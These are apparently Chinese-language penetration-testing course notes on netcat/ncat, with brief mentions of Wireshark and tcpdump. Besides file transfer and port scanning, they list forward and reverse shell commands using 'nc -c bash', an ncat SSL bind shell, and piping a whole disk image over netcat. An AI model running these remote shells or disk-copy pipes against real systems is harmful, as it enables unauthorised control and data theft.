基本工具：
• 經常使⽤用且功能強⼤大
• 安全從業者必不可少的幫⼿手
• Nc / ncat
• Wireshark
• Tcpdump
NETCAT ——NC（ 網路工具中的瑞士軍刀）
功能：
• 偵聽模式 / 傳輸模式
• telnet / 獲取banner資訊
• 傳輸文字資訊
• 傳輸檔案目錄
• 加密傳輸⽂檔案
• 遠端控制/木馬
• 加密所有流量
• 流媒體伺服器
• 遠端克隆硬碟
NC——TELNET / BANNER
• nc –nv 1.1.1.1 110
• nc –nv 1.1.1.1 25
• nc –nv 1.1.1.1 80
eg：ping smtp.163.com 埠： 25
ping pop3.163.com 找到IP 埠：110 需base64翻譯後的字元

nc -v連線的詳細資訊-n不進行DNS解析
NC——傳輸⽂文字資訊 
• A：nc -l -p 4444  偵聽埠   
• B：nc –nv 1.1.1.1 4444  連線埠
    ls -l |nc -vn 10.1.1.12 333 通過管道命令 顯示字埠的另一側
• 遠端電⼦子取證資訊收集
NC——傳輸檔案/目錄
•傳輸⽂檔案
    •A：nc -lp 333 > 1.mp4
    •B：nc -nv 1.1.1.1 333 < 1.mp4 –q 1
•或
    •A：nc -q 1 -lp 333 < a.mp4
    •B： nc -nv 1.1.1.1 333 > 2.mp4
•傳輸目錄
    •A：tar -cvf - music/ | nc -lp 333 –q 1
    •B：nc -nv 1.1.1.1 333 | tar -xvf –
•加密傳檔案
    •A：nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
    •B： mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
NC——流媒體服務
    •A： cat 1.mp4 | nc -lp 333
    •B： -vn 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
NC——埠掃描
    •nc -nvz 1.1.1.1 1-65535
    •nc –vnzu 1.1.1.1 1-1024
NC——遠端克隆硬碟
    •A： nc -lp 333 | dd of=/dev/sda
    •B： dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1
    •遠端電⼦子取證，可以將目標伺服器硬碟遠端複製，或者記憶體。
NC——遠端控制
    •正向：
    •A：nc -lp 333 -c bash
    •B：nc 1.1.1.1 333
    •反向：
    •A：nc -lp 333
    •B：nc 1.1.1.1 333 -c bash
    •注：Windows⽤使用者把bash改成cmd；
NC——NCAT（擬補nc）
    •Nc缺乏加密和⾝身份驗證的能⼒力
    •Ncat包含於nmap⼯工具包中
    •A：ncat ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl（加密）
    •B：ncat -nv 1.1.1.1 333 --ssl
    系統不同，nc引數不盡相同
WIRESHARK 
    • 抓包嗅探協議分析 
    • 安全專家必備的技能 
    • 抓包引擎 
    • Libpcap9—— Linux 
    • Winpcap10—— Windows 
    • 解碼能⼒力
資料:http://blog.jobbole.com/70907/
圖形介面
 

TCPDUMP 更方便的抓包